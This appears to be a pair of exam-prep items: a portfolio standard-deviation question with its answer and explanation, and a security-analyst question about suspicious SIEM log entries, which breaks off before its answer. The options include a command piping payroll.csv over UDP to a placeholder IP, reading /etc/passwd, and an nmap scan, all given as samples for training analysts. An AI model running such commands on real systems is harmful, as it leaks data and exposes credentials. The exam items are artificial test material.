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You are considering a portfolio only of long positions not involving leverage and have the following information:
Stock | Expected Return | Variance | Correlation
1 |15% | 100 | R1,2 = 0.6 2 |18% | 64 | R1,3 = 0.2 3 |24% | 400 | R2,3 = -1.0
Without doing any calculations, what is the correct statement about the risk of a portfolio consisting of these three stocks?
A. The portfolio standard deviation could be larger than 20%.
B. The portfolio standard deviation must be between 8% and 20%.
C. The portfolio standard deviation could be less than 8%.
Answer: C
Explanation:
The portfolio's standard deviation could be less than the lowest individual security's standard deviation of 8% because the correlation coefficients are all less than +1.0.

NEW QUESTION: 3
A security analyst is performing a routine check on the SIEM logs related to the commands used by operators and detects several suspicious entries from different users. Which of the following would require immediate attention?
A. cat payroll.csv > /dev/udp/123.456.123.456/53
B. cat/etc/passwd
C. nmap -A -sV 192.168.1.235
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